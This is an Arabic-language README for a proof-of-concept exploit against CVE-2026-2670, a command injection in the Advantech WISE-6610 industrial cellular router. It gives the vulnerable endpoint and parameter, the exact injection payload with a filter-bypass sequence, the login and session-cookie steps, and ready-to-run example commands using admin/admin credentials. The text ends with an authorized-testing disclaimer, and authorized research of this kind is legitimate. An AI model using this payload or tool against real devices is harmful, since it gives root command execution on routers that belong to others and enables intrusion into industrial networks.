
إثبات مفهوم لاستغلال CVE-2026-2670، وهي ثغرة حقن أوامر في أجهزة التوجيه Advantech WISE-6610، مما تتيح للمهاجمين المصادق عليهم تنفيذ أوامر عشوائية بصلاحيات الجذر.
إثبات مفهوم لاستغلال ثغرة حقن الأوامر في جهاز التوجيه الخلوي الصناعي Advantech WISE-6610.
توجد الثغرة في نقطة النهاية /cgi-bin/luci/admin/openvpn_apply وتسمح لـمهاجم مصادق بتنفيذ أوامر نظام تعسفية.
لا تقوم واجهة الويب الخاصة بـ WISE-6610 بتعقيم المعامل delete_file بشكل صحيح عند معالجة عمليات حذف تكوين OpenVPN.
يمكن للمهاجم الذي يمتلك بيانات اعتماد صالحة حقن أوامر shell باستخدام أنبوب (|) متبوعًا بأمر وتسلسل echo$(IFS) للإنهاء لتجاوز تصفية الإدخال.
يتم تنفيذ الأوامر المحقونة بصلاحيات الجذر (root).
requestsتثبيت التبعيات:
pip install requests
الخيار الوصف
--target عنوان URL الأساسي للجهاز (مثال: http://192.168.1.100:8444)
--cmd الأمر المراد تنفيذه. يجب كتابة المخرجات إلى ملف داخل جذر الويب (مثال: id > output.txt)
--output مسار الويب لملف المخرجات (مثال: /output.txt). يجب أن يطابق اسم الملف المستخدم في --cmd
--cookie (اختياري) قيمة كوكي جلسة sysauth موجودة
--username (اختياري) اسم المستخدم لتسجيل الدخول
--password (اختياري) كلمة المرور لتسجيل الدخول
--delay ثواني الانتظار قبل استرجاع المخرجات (الافتراضي: 2)
--debug تفعيل تسجيل تفصيلي للطلبات والاستجابات
يدعم السكربت طريقتين للمصادقة:
توفير كوكي جلسة sysauth موجودة
تسجيل الدخول باستخدام اسم مستخدم وكلمة مرور
الصيغة الأساسية
python3 exploit.py --target <URL> --cmd <COMMAND> --output <OUTPUT_PATH> \
[--cookie <SYSCOOKIE> | --username <USER> --password <PASS>] \
[--delay <SECONDS>] [--debug]
1️⃣ استخدام كوكي مُصادق مسبقًا
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ تسجيل الدخول ببيانات الاعتماد
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ مع مخرجات التصحيح
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
يتم إرسال طلب GET إلى /cgi-bin/luci/ للحصول على كوكي luci_nonce المطلوبة للمصادقة.
إذا تم توفير بيانات الاعتماد، يرسل السكربت طلب POST إلى /cgi-bin/luci/ مع luci_username و luci_password للحصول على كوكي sysauth.
إذا تم توفير كوكي صالح عبر --cookie، يتم تخطي هذه الخطوة.
يتم إرسال طلب POST إلى:
/cgi-bin/luci/admin/openvpn_apply
مع المعاملات التالية:
act=delete
delete_file=123123|<command> echo$(IFS)
openvpn_id=1
يساعد تسلسل echo$(IFS) في إنهاء الأمر المحقون وتجاوز عوامل تصفية الإدخال.
بعد تأخير قصير، يحاول السكربت استرجاع الملف المُنشأ من مسار --output المحدد.
تم توفير هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرح بها فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.